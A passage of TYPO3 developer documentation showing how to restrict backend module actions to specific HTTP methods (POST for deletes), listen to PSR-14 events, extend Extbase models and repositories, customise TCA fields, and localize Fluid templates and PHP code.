+         $this->assertAllowedHttpMethod($request, 'GET');
          $this->moduleTemplate->assignMultiple([
              'things' => $this->thingRepository->findAll(),
          ]);
          return $this->moduleTemplate->renderResponse('CustomModule/List');
      }

      public function deleteAction(ServerRequestInterface $request): ResponseInterface
      {
-         $thingId = $request->getQueryParams()['thing']
-             ?? $request->getParsedBody()['thing']
-             ?? null;
+         $thingId = $request->getParsedBody()['thing'] ?? null;
+         $this->assertAllowedHttpMethod($request, 'POST');

          // validate ID early
          if (!is_string($thingId) || $thingId === '') {
              return new HtmlResponse('Bad request', 400);
          }

          $this->thingRepository->removeById((int)$thingId);

          $listRoute = $this->uriBuilder
              ->buildUriFromRoute('demo', [], UriBuilder::ABSOLUTE_URL);
          return new RedirectResponse($listRoute);
      }
  }
Copied!

Template Example

In the revised template, POST-based form buttons are used instead of GET links for delete actions:

Revised EXT:demo/Resources/Private/Templates/ExtbaseModule/List.html
  <ul>
  <f:for each="{things}" as="thing">
      <li>
          {thing.name}:
-         <a href="{f:be.uri(
-                 route: 'demo.delete',
-                 parameters: '{action: ‘delete’, thing: thing.uid}'
-             )" class="btn btn-default">delete</a>
+         <button
+             name="thing" value="{thing.uid}"
+             type="submit" form="demo-module-form-delete-action"
+             class="btn btn-default">delete</button>
      </li>
  </f:for>
  </ul>
+ <form
+     action="{f:be.uri(route: 'demo.delete')}" method="post"
+     id="demo-module-form-delete-action" class="hidden"></form>
Copied!

Asserting HTTP Methods in Extbase Controllers

Enforcing HTTP Methods

The following example demonstrates enforcing HTTP methods in Extbase module controllers using AllowedMethodsTrait:

Revised EXT:demo/Classes/Controller/ExtbaseModuleController.php
  <?php
  namespace Example\Demo\Controller;

  use Example\Demo\Domain\Model\Thing;
  use Example\Demo\Domain\Repository\ThingRepository;
+ use TYPO3\CMS\Core\Http\AllowedMethodsTrait;
  use TYPO3\CMS\Backend\Template\ModuleTemplate;
  use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

  class ExtbaseModuleController extends ActionController
  {
+     use AllowedMethodsTrait;
+
      protected readonly ModuleTemplate $moduleTemplate;
      protected readonly ThingRepository $thingRepository;

+     protected function initializeListAction(): void
+     {
+         $this->assertAllowedHttpMethod($this->request, 'GET');
+     }
+
      public function listAction(): ResponseInterface
      {
          $this->moduleTemplate->assignMultiple([
              'things' => $this->thingRepository->findAll(),
          ]);
          return $this->moduleTemplate->renderResponse('ExtbaseModule/List');
      }

+     protected function initializeDeleteAction(): void
+     {
+         $this->assertAllowedHttpMethod($this->request, 'POST');
+     }
+
      public function deleteAction(Thing $thing): ResponseInterface
      {
          $this->thingRepository->remove($thing);
          return $this->redirect('list');
      }
  }
Copied!

Template Example

In the revised template, POST-based form buttons are used instead of GET action links for delete actions:

Revised EXT:demo/Resources/Private/Templates/ExtbaseModule/List.html
  <ul>
  <f:for each="{things}" as="thing">
      <li>
          {thing.name}:
-         <f:link.action
-             name="delete" controller="Module"
-             arguments="{thing: thing}"
-             class="btn btn-default">delete</f:link.action>
+         <f:form.button
+             name="thing" value="{thing.uid}"
+             type="submit" form="demo-module-form-delete-action"
+             class="btn btn-default">delete</f:form.button>
      </li>
  </f:for>
  </ul>
+ <f:form
+     action="delete" controller="Module" method="post"
+     id="demo-module-form-delete-action" class="hidden" />
Copied!

Tutorial - Backend Module Registration

Susanne Moog demonstrates how to register a TYPO3 backend module. The backend module is based on a regular TYPO3 installation. Extbase is not used.

In this video dependency injection is achieved via Constructor Promotion.

Additionally Named arguments <https://www.php.net/manual/en/functions.arguments.php#functions.named-arguments> are used in the example.

These features are available starting with PHP 8.0. With TYPO3 v11.5 it is still possible to use PHP 7.4. So either require PHP 8.0 and above in your composer.json or use a normal constructor for the dependency injection and refrain from using named arguments.

In part two she shows you how to create a TYPO3 backend module that looks and behaves like other backend modules and uses the Fluid templating engine for its content.

Events

PSR-14 events can be used to extend the TYPO3 Core or third-party extensions.

You can find a complete list of events provided by the TYPO3 Core in the following chapter: Event list.

Events provided by third-party extensions should be described in the extension's manual. You can also search for events by looking for classes that inject the Psr\EventDispatcher\EventDispatcherInterface.

Listen to an event

If you want to use an event provided by the Core or a third-party extension, create a PHP class with a method __invoke(SomeCoolEvent $event) that accepts an object of the event class as argument. It is possible to use another method name but you have to configure the name in the Configuration/Services.yaml or it is not found.

It is best practice to use a descriptive class name and to put it in the namespace \MyVendor\MyExtension\EventListener.

<?php

// EXT:my_extension/Classes/EventListener/Joh316PasswordInformer.php
declare(strict_types=1);

namespace MyVendor\MyExtension\EventListener;

use Psr\Log\LoggerInterface;
use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\FrontendLogin\Event\PasswordChangeEvent;

/**
 * The password 'joh316' was historically used as the default password for
 * the TYPO3 install tool.
 * Today this password is an unsecure choice as it is well-known, too short
 * and does not contain capital letters or special characters.
 */
#[AsEventListener]
final class Joh316PasswordInvalidator
{
    public function __construct(
        private readonly LoggerInterface $logger,
    ) {}

    public function __invoke(PasswordChangeEvent $event): void
    {
        if ($event->getRawPassword() === 'joh316') {
            $this->logger->warning(sprintf(
                'User %s uses the default password "joh316".',
                $event->getUser()['username'],
            ));
        }
    }
}
Copied!

Dispatch an event

You can dispatch events in your own extension's code to enable other extensions to extend your code. Events are the preferred method of making code in TYPO3 extensions extendable.

See Event Dispatcher, Quickstart on how to create a custom event and dispatch it.

Extending an Extbase model

Once you have added an additional field to the TCA the new field will be displayed in the backend forms.

However, if the extension you are trying to extend is based on Extbase the new field is not available in the frontend out of the box. Further steps are needed to make the fields available. These steps will not work in all cases.

Quick overview

Follow these steps:

  1. Is your extension the only one trying to extend the original model within your installation?
  2. Find the original model. If this model has the modifier final refer to the extension's documentation on how to display additional fields.
  3. Find the original repository. Again, if the repository is final refer to the extension's documentation on how to display additional fields.
  4. Extend the original model in your custom extension or sitepackage.
  5. Register your extended model with the according database table in EXT:my_extension/Configuration/Extbase/Persistence/Classes.php.
  6. Extend the original repository in your custom extension or sitepackage.
  7. Register your extended repository to be used instead of the original one.

Step by step

Are you the only one trying to extend that model?

Within your installation you can search for other classes that are extending the original model or repository (see below).

If the model is already extended but you only need to create the fields for your current installation you can proceed by extending the extended model. In the following steps of this tutorial use the previously extended model as original model.

If the model has different Record types you can decide to introduce a new type and only extend that one type. This is, for example, commonly done when extending the model of georgringer/news .

If you are planning to publish your extension that extends another extensions model, research on Packagist and the TER (TYPO3 extension repository) for extensions that are already extending the model. If necessary, put them in the conflict sections of you extensions composer.json and ext_emconf.php.

Find the original model

The model should be located in the original extension at path EXT:original_extension/Classes/Domain/Model/ or a subdirectory thereof. If the model is not found here it might

  • be situated in a different extension
  • not be an Extbase model (you cannot follow this tutorial then)

You can also try to debug the model in a Fluid template that outputs the model:

Some Fluid template that uses the model
<f:debug>{someModel}</f:debug>
Copied!

If you debugged the correct object the fully qualified PHP name of the model will appear in the debug output. This gives you further hints on where to find the associated class. You could, for example, do a full text search for the namespace of this class.

If the class of the model is final:

EXT:original_extension/Classes/Domain/Model/SomeModel.php
final class SomeModel {
    // ...
}
Copied!

It cannot be extended by means of this tutorial. Refer to the documentation of the original extension.

Find the original repository

In Extbase the repository of a model mostly has to have the same class name as the model, prefixed with "Repository". It has to be located in the same domain directory as the model, but in the subfolder Repository.

For example, if the model is found in Classes/Domain/Model/SomeModel.php the repository is located in Classes/Domain/Repository/SomeModelRepository.php.

  • If you do not find this repository but found the model the extension might not use an Extbase repository. This tutorial does not help you in this case as it can only be applied to Extbase repositories.
  • If you find a repository in this name scheme but it does not extend directly or indirectly the class \TYPO3\CMS\Extbase\Persistence\Repository you are also not dealing with an Extbase repository.
  • If the repository is final it cannot be extended.

In all these cases refer to the extension's documentation on how to extend it.

Extend the original model

We assume you already extended the database table and TCA (table configuration array) as described in Extending TCA. Extend the original model by a custom class in your extension:

EXT:my_extension/Classes/Domain/Model/MyExtendedModel.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model;

use OriginalVendor\OriginalExtension\Domain\Model\SomeModel;

class MyExtendedModel extends SomeModel
{
    protected string $txMyExtensionAdditionalField;

    public function getTxMyExtensionAdditionalField(): string
    {
        return $this->txMyExtensionAdditionalField;
    }

    public function setTxMyExtensionAdditionalField(string $txMyExtensionAdditionalField): void
    {
        $this->txMyExtensionAdditionalField = $txMyExtensionAdditionalField;
    }
}
Copied!

Add all additional fields that you require. By convention the database fields are usually prefixed with your extension's name and so are the names in the model.

Register the extended model

The extended model needs to be registered for Extbase persistence in file Configuration/Extbase/Persistence/Classes.php and ext_localconf.php.

EXT:my_extension/Configuration/Extbase/Persistence/Classes.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Domain\Model\MyExtendedModel;

return [
    MyExtendedModel::class => [
        'tableName' => 'tx_originalextension_somemodel',
    ],
];
Copied!
EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Domain\Model\MyExtendedModel;
use OriginalVendor\OriginalExtension\Domain\Model\SomeModel;

defined('TYPO3') or die('Access denied.');

$GLOBALS['TYPO3_CONF_VARS']['SYS']['Objects'][SomeModel::class] = [
    'className' => MyExtendedModel::class,
];
Copied!

Extend the original repository (optional)

Likewise extend the original repository:

EXT:my_extension/Classes/Domain/Repository/MyExtendedModelRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use OriginalVendor\OriginalExtension\Domain\Repository\SomeModelRepository;

class MyExtendedModelRepository extends SomeModelRepository
{
    /* Unless you need additional methods you can leave the class body empty */
}
Copied!

The rule that a repository must follow the name schema of the model also applies when extending model and repository. So the new repository's name must end on "Repository" and it must be in the directory Domain/Repository.

If you have no need for additional repository methods you can leave the body of this class empty. However, for Extbase internal reasons you have to create this repository even if you need no additional functionality.

Register the extended repository

The extended repository needs to be registered with Extbase in your extensions EXT:my_extension/ext_localconf.php. This step tells Extbase to use your repository instead of the original one whenever the original repository is requested via Dependency Injection in a controller or service.

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Domain\Repository\MyExtendedRepository;
use OriginalVendor\OriginalExtension\Domain\Repository\SomeRepository;

defined('TYPO3') or die('Access denied.');

$GLOBALS['TYPO3_CONF_VARS']['SYS']['Objects'][SomeRepository::class] = [
    'className' => MyExtendedRepository::class,
];
Copied!

Alternative strategies to extend Extbase models

There is a dedicated TYPO3 extension to extend models and functions to classes by implementing the proxy pattern: Extbase Domain Model Extender (evoweb/extender).

This extension can - for example - be used to Extend models of tt_address.

The commonly used extension EXT:news (georgringer/news) supplies a special generator that can be used to add custom fields to news models.

Storing the changes

There are various ways to store changes to $GLOBALS['TCA'] . They depend - partly - on what you are trying to achieve and - a lot - on the version of TYPO3 CMS which you are targeting. The TCA can only be changed from within an extension.

Changed in version 14.0

There are two changes for \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addPlugin(). The second argument $type and the third argument $extensionKey have been dropped.

Storing in extensions

The advantage of putting your changes inside an extension is that they are nicely packaged in a self-contained entity which can be easily deployed on multiple servers.

The drawback is that the extension loading order must be finely controlled. However, in case you are modifying Core TCA, you usually don't have to worry about that. Since custom extensions are always loaded after the Core's TCA, changes from custom extensions will usually take effect without any special measures.

In case your extension modifies another extension, you actively need to make sure your extension is loaded after the extension you are modifying. This can be achieved by registering that other extension as a dependency (or suggestion) of yours. See the description of constraints in Core APIs.

The loading order also matters if you have multiple extensions overriding the same field, probably even contradicting each other.

Files within Configuration/TCA/ files are loaded within a dedicated scope. This means that variables defined in those files cannot leak into the following files.

For more information about an extension's structure, please refer to the extension architecture chapter.

Storing in the Overrides/ folder

Changes to $GLOBALS['TCA'] must be stored inside a folder called Configuration/TCA/Overrides/. For clarity files should be named along the pattern <tablename>.php.

Thus, if you want to customize the TCA of tx_foo_domain_model_bar, you need to create the file Configuration/TCA/Overrides/tx_foo_domain_model_bar.php.

The advantage of this method is that all such changes are incorporated into $GLOBALS['TCA'] before it is cached. This is thus far more efficient.

Changing the TCA "on the fly"

It is also possible to perform some special manipulations on $GLOBALS['TCA'] right before it is stored into cache, thanks to the PSR-14 event AfterTcaCompilationEvent.

Customization Examples

Many extracts can be found throughout the manual, but this section provides more complete examples.

Example 1: Extending the fe_users table

The "examples" extension adds two fields to the "fe_users" table. Here's the complete code, taken from file Configuration/TCA/Overrides/fe_users.php:

<?php
defined('TYPO3') or die();

// Add some fields to fe_users table to show TCA fields definitions
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addTCAcolumns('fe_users',
   [
      'tx_examples_options' => [
         'exclude' => 0,
         'label' => 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:fe_users.tx_examples_options',
         'config' => [
            'type' => 'select',
            'renderType' => 'selectSingle',
            'items' => [
               ['',0,],
               ['LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:fe_users.tx_examples_options.I.0',1,],
               ['LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:fe_users.tx_examples_options.I.1',2,],
               ['LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:fe_users.tx_examples_options.I.2','--div--',],
               ['LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:fe_users.tx_examples_options.I.3',3,],
            ],
            'size' => 1,
            'maxitems' => 1,
         ],
      ],
      'tx_examples_special' => [
         'exclude' => 0,
         'label' => 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:fe_users.tx_examples_special',
         'config' => [
            'type' => 'user',
            // renderType needs to be registered in ext_localconf.php
            'renderType' => 'specialField',
            'parameters' => [
               'size' => '30',
               'color' => '#F49700',
            ],
         ],
      ],
   ]
);
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addToAllTCAtypes(
   'fe_users',
   'tx_examples_options, tx_examples_special'
);
Copied!

Read why the check for the TYPO3 constant is necessary.

In this example the first method call adds fields using ExtensionManagementUtility::addTCAcolumns(). This ensures that the fields are registered in $GLOBALS['TCA'] . Parameters:

  1. Name of the table to which the fields should be added.
  2. An array of the fields to be added. Each field is represented in the TCA syntax for columns.

Since the fields are only registered but not used anywhere, the fields are afterwards added to the "types" definition of the fe_users table by calling ExtensionManagementUtility::addToAllTCAtypes(). Parameters:

  1. Name of the table to which the fields should be added.
  2. Comma-separated string of fields, the same syntax used in the showitem property of types in TCA.
  3. Optional: record types of the table where the fields should be added, see types in TCA for details.
  4. Optional: position ( 'before' or 'after') in relation to an existing field ( after:myfield) or palette ( after:palette:mypalette).

So you could do this:

EXT:some_extension/Configuration/TCA/Overrides/fe_users.php
<?php

declare(strict_types=1);

\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addToAllTCAtypes(
    'fe_users',
    'tx_myextension_options, tx_myextension_special',
    '',
    'after:password',
);
Copied!

If the fourth parameter (position) is omitted or the specified field is not found, new fields are added at the bottom of the form. If the table uses tabs, new fields are added at the bottom of the Extended tab. This tab is created automatically if it does not exist.

These method calls do not create the corresponding fields in the database. The new fields must also be defined in the ext_tables.sql file of the extension:

EXT:some_extension/ext_tables.sql
CREATE TABLE fe_users (
	tx_examples_options int(11) DEFAULT '0' NOT NULL,
	tx_examples_special varchar(255) DEFAULT '' NOT NULL
);
Copied!

The following screen shot shows the placement of the two new fields when editing a "fe_users" record:

The new fields added at the bottom of the "Extended" tab

The next example shows how to place a field more precisely.

Example 2: Extending the tt_content Table

In the second example, we will add a "No print" field to all content element types. First of all, we add its SQL definition in ext_tables.sql:

EXT:some_extension/ext_tables.sql
CREATE TABLE tt_content (
	tx_examples_noprint tinyint(4) DEFAULT '0' NOT NULL
);
Copied!

Then we add it to the $GLOBALS['TCA'] in Configuration/TCA/Overrides/tt_content.php:

EXT:some_extension/Configuration/TCA/Overrides/tt_content.php
  \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addTCAcolumns(
     'tt_content',
     [
        'tx_examples_noprint' => [
           'exclude' => 0,
           'label' => 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:tt_content.tx_examples_noprint',
           'config' => [
              'type' => 'check',
              'renderType' => 'checkboxToggle',
              'items' => [
                 [
                    0 => '',
                    1 => ''
                 ]
              ],
           ],
        ],
     ]
  );
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addFieldsToPalette(
     'tt_content',
     'access',
     'tx_examples_noprint',
     'before:editlock'
  );
Copied!

The code is mostly the same as in the first example, but the last method call is different and requires an explanation. The tables pages and tt_content use palettes extensively. This increases flexibility.

Therefore we call ExtensionManagementUtility::addFieldsToPalette() instead of ExtensionManagementUtility::addToAllTCAtypes(). We need to specify the palette's key as the second argument (access). Precise placement of the new field is achieved with the fourth parameter (before:editlock). This will place the "no print" field right before the Restrict editing by non-Admins field, instead of putting it in the Extended tab.

The result is the following:

The new field added next to an existing one

Verifying the TCA

You may find it necessary – at some point – to verify the full structure of the $GLOBALS['TCA'] in your TYPO3 installation. The System > Configuration module makes it possible to have an overview of the complete $GLOBALS['TCA'] , with all customizations taken into account.

Checking the existence of the new field via the Configuration module

If you cannot find your new field, it probably means that you have made some mistake.

This view is also useful when trying to find out where to insert a new field, to explore the combination of types and palettes that may be used for the table that we want to extend.

Frontend plugin

Deprecated since version 13.4

The term "frontend plugin" describes a part of a TYPO3 extension that is handled like a content element (can be inserted like a record/element in the TYPO3 backend by editors), which will deliver dynamic output when rendered in the frontend. The distinction and boundaries to regular content are sometimes not easy to draw, because also "regular" content elements are often able to perform dynamic output (for example with TypoScript configuration, Fluid data processors or ViewHelpers).

There are different technology choices to create frontend plugins in TYPO3.

For pure output it is often sufficient to use a FLUIDTEMPLATE in combination with DataProcessors. See also Creating a custom content element.

For scenarios with user input and or complicated data operations consider using Extbase (specifically Registration of frontend plugins).

It is also possible to create a frontend plugin using Core functionality only.

Multi-language Fluid templates

Consider you have to translate the following static texts in your Fluid template:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<h3>{post.title}</h3>
<p>By: {post.author.fullName}</p>
<p>{post.content -> f:format.nl2br()}</p>

<h3>Comments</h3>
<f:for each="{post.comments}" as="comment">
  {comment.content -> f:format.nl2br()}
  <hr>
</f:for>
Copied!

To make such texts exchangeable, they have to be removed from the Fluid template and inserted into an XLIFF language file. Every text fragment to be translated is assigned an identifier (also called key) that can be inserted into the Fluid template.

The translation ViewHelper f:translate

To insert translations into a template, Fluid offers the ViewHelper f:translate.

This ViewHelper has a property called key where the identifier of the text fragment prefixed by the location file can be provided.

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:translate key="LLL:EXT:my_extension/Resources/Private/Language/yourFile.xlf:yourKey" />
<!-- or as inline Fluid: -->
{f:translate(key: 'LLL:EXT:my_extension/Resources/Private/Language/yourFile.xlf:yourKey')}
Copied!

The text fragment will now be displayed in the current frontend language defined in the site configuration, if the translation file of the requested language can be found in the location of the prefix.

If the key is not available in the translated file or if the language file is not found in the language, the key is looked up in the default language file. If it is not found there, nothing is displayed.

You can provide a default text fragment in the property default to avoid no text being displayed:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:translate
    key="LLL:EXT:my_extension/Resources/Private/Language/yourFile.xlf:yourKey"
    default="No translation available."
/>
Copied!

The translation ViewHelper in Extbase

In Extbase, the translation file can be detected automatically. It is therefore possible to omit the language file prefix.

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:translate key="commentHeader" />
<!-- or as inline Fluid: -->
{f:translate(key: 'commentHeader')}
Copied!

In Extbase plugins <f:translate key="commentHeader" /> looks up the key in LLL:EXT:my_example/Resources/Private/Language/locallang.xlf:commentHeader.

The language string can be overridden by the values from _LOCAL_LANG. See also property _LOCAL_LANG in a plugin.

It is possible to use the translation file of another extension by supplying the parameter extensionName with the UpperCamelCased extension key:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:translate key="commentHeader" extensionName="MyOtherExtension" />
Copied!

There is no fallback to the file of the original extension in this case.

By replacing all static texts with translation ViewHelpers the above example can be replaced:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<h3>{post.title}</h3>
<p><f:translate key="authorPrefix"> {post.author.fullName}</p>
<p>{post.content -> f:format.nl2br()}</p>
<h3><f:translate key="commentHeader"></h3>
<f:for each="{post.comments}" as="comment">
   {comment.content -> f:format.nl2br()}
   <hr>
</f:for>
Copied!

Source of the language file

If the Fluid template is called outside of an Extbase context there are two options on how to configure the correct language file.

  1. Use the complete language string as key:

    Prefix the translation key with LLL:EXT: and then the path to the translation file, followed by a colon and then the translation key.

    EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
    <f:translate
        key="LLL:EXT:my_extension/Resources/Private/Language/yourFile.xlf:yourKey"
    />
    Copied!
  2. Or provide the parameter extensionName:

    EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
    <f:translate
        key="yourKey"
        extensionName="MyExtension"
    />
    Copied!

    If the extensionName is provided, the translation string is searched in EXT:my_extension/Resources/Private/Language/locallang.xlf.

Insert arguments into translated strings

In some translation situations it is useful to insert an argument into the translated string.

Let us assume you want to translate the following sentence:

Example output
Here is a list of 5 blogs:
Copied!

As the number of blogs can change it is not possible to put the complete sentence into the translation file.

We could split the sentence up into two parts. However in different languages the number might have to appear in different positions in the sentence.

Splitting up the sentence should be avoided as the context would get lost in translation. Especially when a translation agency is involved.

Instead it is possible to insert a placeholder in the translation file:

EXT:my_extension/Resources/Private/Language/de.locallang.xlf
<trans-unit id="blog.list" xml:space="preserve" approved="yes">
   <source>Here is a list of %d blogs: </source>
   <target>Eine Liste von %d Blogs ist hier: </target>
</trans-unit>
Copied!
Bad example! Don't use it!
<trans-unit id="blog.list1" xml:space="preserve" approved="no">
   <source>Here is a list of </source>
   <target>Eine Liste von </target>
</trans-unit>
<trans-unit id="blog.list2" xml:space="preserve" approved="no">
   <source>blogs: </source>
   <target>Blogs ist hier: </target>
</trans-unit>
Copied!

Argument types

The placeholder contains the expected type of the argument to be inserted. Common are:

%d
The argument is treated as an integer and presented as a (signed) decimal number. Example: -42
%f
The argument is treated as a float and presented as a floating-point number (locale aware). Example: 3.14159
%s
The argument is treated and presented as a string. This can also be a numeral formatted by another ViewHelper Example: Lorem ipsum dolor, 59,99 €, 12.12.1980

There is no placeholder for dates. Date and time values have to be formatted by the according ViewHelper <f:format.date>, see section localization of date output .

For a complete list of placeholders / specifiers see PHP function sprintf.

Order of the arguments

More than one argument can be supplied. However for grammatical reasons the ordering of arguments may be different in the various languages.

One easy example are names. In English the first name is displayed followed by a space and then the family name. In Chinese the family name comes first followed by no space and then directly the first name. By the following syntax the ordering of the arguments can be made clear:

EXT:my_extension/Resources/Private/Language/zh.locallang.xlf
<trans-unit id="blog.author" xml:space="preserve" approved="yes">
   <source>%1$s %2$s</source>
   <target>%2$s%1$s</target>
</trans-unit>
Copied!
EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:translate
   key="author"
   arguments="{1: blog.author.firstName, 2: blog.author.lastname}"
/>
Copied!

The authors name would be displayed in English as Lina Wolf while it would be displayed in Chinese like 吴林娜 (WúLínnà).

Localization of date output

It often occurs that a date or time must be displayed in a template. Every language area has its own convention on how the date is to be displayed: While in Germany, the date is displayed in the form Day.Month.Year, in the USA the form Month/Day/Year is used. Depending on the language, the date must be formatted different.

Generally the date or time is formatted by the <f:format.date> ViewHelper:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:format.date date="{dateObject}" format="d.m.Y" />
<!-- or -->
{dateObject -> f:format.date(format: 'd.m.Y')}
Copied!

The date object {dateObject} is displayed with the date format given in the parameter format. This format string must be in a format that is readable by the PHP function date() and declares the format of the output.

The table below shows some important placeholders:

Format character Description Example
d Day of the month as number, double-digit, with leading zero 01 ... 31
m Month as number, with leading zero 01 ... 12
Y Year as number, with 4 digits 2011
y Year as number, with 2 digits 11
H Hour in 24 hour format 00 ... 23
i Minutes, with leading zero 00 ... 59

Depending on the language area, another format string should be used.

Here we combine the <f:format.date> ViewHelper with the <f:translate> ViewHelper to supply a localized date format:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:format.date date="{dateObject}" format="{f:translate(key: 'dateFormat')}" />
Copied!

Then you can store another format string for every language in the locallang.xlf file.

Localization in PHP

Sometimes you have to localize a string in PHP code, for example inside of a controller or a user function.

Which method of localization to use depends on the current context:

Localization in plain PHP

The \TYPO3\CMS\Core\Localization\LanguageService is available if a backend user has been initialized, in particular in the following contexts:

  • frontend: only if there is a logged-in backend user
  • backend: always, except in Admin Tools modules (e.g. within Upgrade Wizard in the backend)
  • install tool / install tool modules in backend (e.g. Upgrade Wizard): no
  • in cli: only if a backend user was initialized, e.g. by TYPO3\CMS\Core\Core\Bootstrap::initializeBackendUser()

The LanguageServiceFactory can be used to instantiate. Please see the examples below.

The methods provided by the instantiated LanguageService class then be used to translate texts using the language keys of XLIFF language files.

Localization in frontend context

In plain PHP use the class LanguageServiceFactory to create a LanguageService from the current site language:

EXT:my_extension/Classes/UserFunction/MyUserFunction.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend;

use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Core\Localization\LanguageService;
use TYPO3\CMS\Core\Localization\LanguageServiceFactory;

final class MyUserFunction
{
    private LanguageService $languageService;

    public function __construct(
        private readonly LanguageServiceFactory $languageServiceFactory,
    ) {}

    private function getLanguageService(
        ServerRequestInterface $request,
    ): LanguageService {
        return $this->languageServiceFactory->createFromSiteLanguage(
            $request->getAttribute('language')
            ?? $request->getAttribute('site')->getDefaultLanguage(),
        );
    }

    public function main(
        string $content,
        array $conf,
        ServerRequestInterface $request,
    ): string {
        $this->languageService = $this->getLanguageService($request);
        return $this->languageService->sL(
            'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:something',
        );
    }
}
Copied!

Dependency injection should be available in most contexts where you need translations. Also the current request is available in entry point such as custom non-Extbase controllers, user functions, data processors etc.

Localization in backend context

In the backend context you should use the LanguageServiceFactory to create the required LanguageService.

EXT:my_extension/Classes/Backend/MyBackendClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend;

use TYPO3\CMS\Core\Authentication\BackendUserAuthentication;
use TYPO3\CMS\Core\Localization\LanguageService;
use TYPO3\CMS\Core\Localization\LanguageServiceFactory;

final class MyBackendClass
{
    public function __construct(
        private readonly LanguageServiceFactory $languageServiceFactory,
    ) {}

    private function translateSomething(string $input): string
    {
        return $this->getLanguageService()->sL($input);
    }

    private function getLanguageService(): LanguageService
    {
        return $this->languageServiceFactory
            ->createFromUserPreferences($this->getBackendUserAuthentication());
    }

    private function getBackendUserAuthentication(): BackendUserAuthentication
    {
        return $GLOBALS['BE_USER'];
    }

    // ...
}
Copied!

Localization without context

If you should happen to be in a context where none of these are available, for example a static function, you can still do translations:

EXT:my_extension/Classes/Utility/MyUtility.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Utility;

use TYPO3\CMS\Core\Localization\LanguageServiceFactory;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyUtility
{
    private static function translateSomething(string $lll): string
    {
        $languageServiceFactory = GeneralUtility::makeInstance(
            LanguageServiceFactory::class,
        );
        // As we are in a static context we cannot get the current request in
        // another way this usually points to general flaws in your software-design
        $request = $GLOBALS['TYPO3_REQUEST'];
        $languageService = $languageServiceFactory->createFromSiteLanguage(
            $request->getAttribute('language')
            ?? $request->getAttribute('site')->getDefaultLanguage(),
        );
        return $languageService->sL($lll);
    }
}
Copied!

Localization in Extbase

In Extbase context you can use the method \TYPO3\CMS\Extbase\Utility\LocalizationUtility::translate($key, $extensionName).

This method requires the localization key as the first and the extension's name as optional second parameter. For all available parameters see below. Then the corresponding text in the current language will be loaded from this extension's locallang.xlf file.

The method translate() takes translation overrides from TypoScript into account. See Changing localized terms using TypoScript.

Example

In this example the content of the flash message to be displayed in the backend gets translated:

Class T3docs\Examples\Controller\ModuleController
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Core\Type\ContextualFeedbackSeverity;
use TYPO3\CMS\Extbase\Utility\LocalizationUtility;

class ModuleController extends ActionController
{
    /**
     * Adds a count of entries to the flash message
     */
    public function countAction(string $tablename = 'pages'): ResponseInterface
    {
        $count = $this->tableInformationService->countRecords($tablename);

        $message = LocalizationUtility::translate(
            'record_count_message',
            'examples',
            [$count, $tablename],
        );

        $this->addFlashMessage(
            $message ?? '',
            'Information',
            ContextualFeedbackSeverity::INFO,
        );
        return $this->redirect('flash');
    }
}
Copied!

The string in the translation file is defined like this:

<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<!-- EXT:examples/Resources/Private/Language/locallang.xlf -->
<xliff version="1.0">
    <file source-language="en" datatype="plaintext" original="messages" date="2013-03-09T18:44:59Z" product-name="examples">
        <header />
        <body>
            <trans-unit id="new_relation" xml:space="preserve">
                <source>Content element "%1$s" (uid: %2$d) has the following relations:</source>
            </trans-unit>
        </body>
    </file>
</xliff>
Copied!

The arguments will be replaced in the localized strings by the PHP function sprintf.

This behaviour is the same like in a Fluid translate ViewHelper with arguments.

Examples

Provide localized strings via JSON by a middleware

In the following example we use the language service API to provide a list of localized season names. This list could then be loaded in the frontend via Ajax.

You can finde the complete example on GitHub, EXT:examples, HaikuSeasonList.

As we do not need a full frontend context with TypoScript the JSON is returned by a PSR-15 middleware.

Beside other factories needed by our response, we inject the LanguageServiceFactory with constructor dependency injection.

Class T3docs\Examples\Middleware\HaikuSeasonList
use Psr\Http\Message\ResponseFactoryInterface;
use Psr\Http\Message\StreamFactoryInterface;
use TYPO3\CMS\Core\Localization\LanguageServiceFactory;

/**
 * This middleware can be used to retrieve a list of seasons with their according translation.
 * To get the correct translation the URL must be within a base path defined in site
 * handling. Some examples:
 * "/en/haiku-season-list.json" for English translation (if /en is the configured base path)
 * "/de/haiku-season-list.json" for German translation (if /de is the configured base path)
